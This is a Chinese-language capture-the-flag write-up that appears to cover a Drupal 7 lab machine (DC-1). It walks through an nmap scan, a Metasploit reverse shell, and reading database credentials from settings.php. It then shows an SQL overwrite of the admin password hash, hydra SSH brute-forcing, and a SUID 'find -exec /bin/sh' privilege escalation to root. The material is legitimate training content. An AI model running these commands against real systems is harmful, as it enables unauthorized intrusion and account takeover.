信息收集
.\fscan64.exe -h 192.168.1.0/24
确定目标主机192.168.1.111
nmap扫描端口
└─$ nmap -A 192.168.1.111 -p-
Nmap scan report for 192.168.1.111
Host is up (0.00064s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34908/udp6 status
| 100024 1 57921/tcp6 status
| 100024 1 59058/tcp status
|_ 100024 1 59625/udp status
59058/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
zsh: segmentation fault nmap -A 192.168.1.111 -p-
通过扫描的信息可以发现开放了22,80,111,59058端口,分别ssh,web,
rpc服务等等。
访问80端口,
根据已知信息可知,网站是Drupal。msf漏洞库搜索是否存在exp
存在如下exp
设置rhosts,反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
拿到flag1
在目录中找配置文件拿flag2
根据flag1.txt中的"Every good CMS needs a config file - and so do you."(意思差不多:每个好的内容管理系统都需要一个配置文件,所以你应该怎么做)提示,所以直接从实名命令执行得到的目录里面找配置文件。
sites/default/settings.php,配置文件位置。查看flag2 和数据库配置信息。
根据获得的数据库账号密码信息,登录数据库。
查询user表,找到admin的密码hash,但是加盐的密码一般很难破解,我们选择修改用户密码。
执行生成密文的脚本
php scripts/password-hash.sh password
$S$DrIK3GPgjnJtBH0EEgngXehyIOSb/jY3D4HoYMLCBLM5FFznbanD
update users set pass="$S$DIegvjox3zuZlYqAdIr/Wj6wVkz5BYLylw5kEyn2s9ASpGoPbhiX" where uid=1
修改数据库hash值
flag3
密码修改成功去网站登录
登录导航栏发现flag3
从flag3中提示发现passwd,shadow所以查看根目录**/etc**下的这两个文件;
权限不够只能查看passwd
发现存在flag4用户
然后利用hydra工具爆破ssh
用kali自带的字典
└─$ hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.111 ssh -vV -f
-l指定用户名
-P指定密码字典文件
-vV爆破一次在终端打印一行
-f成功爆破密码后,停止爆破
密码orange
登录ssh
ssh flag4@192.168.1.111
flag4
查看flag4
根据提示,我们的权限还不是最高的权限,最后要通过提权拿到root权限
find / -perm -4000 2>/dev/null
查看当前系统有哪些具有SUID标识的命令
find -exec "/bin/sh" \;
提权成功
最终的flag
慢也好,步伐小也罢,是往前走就好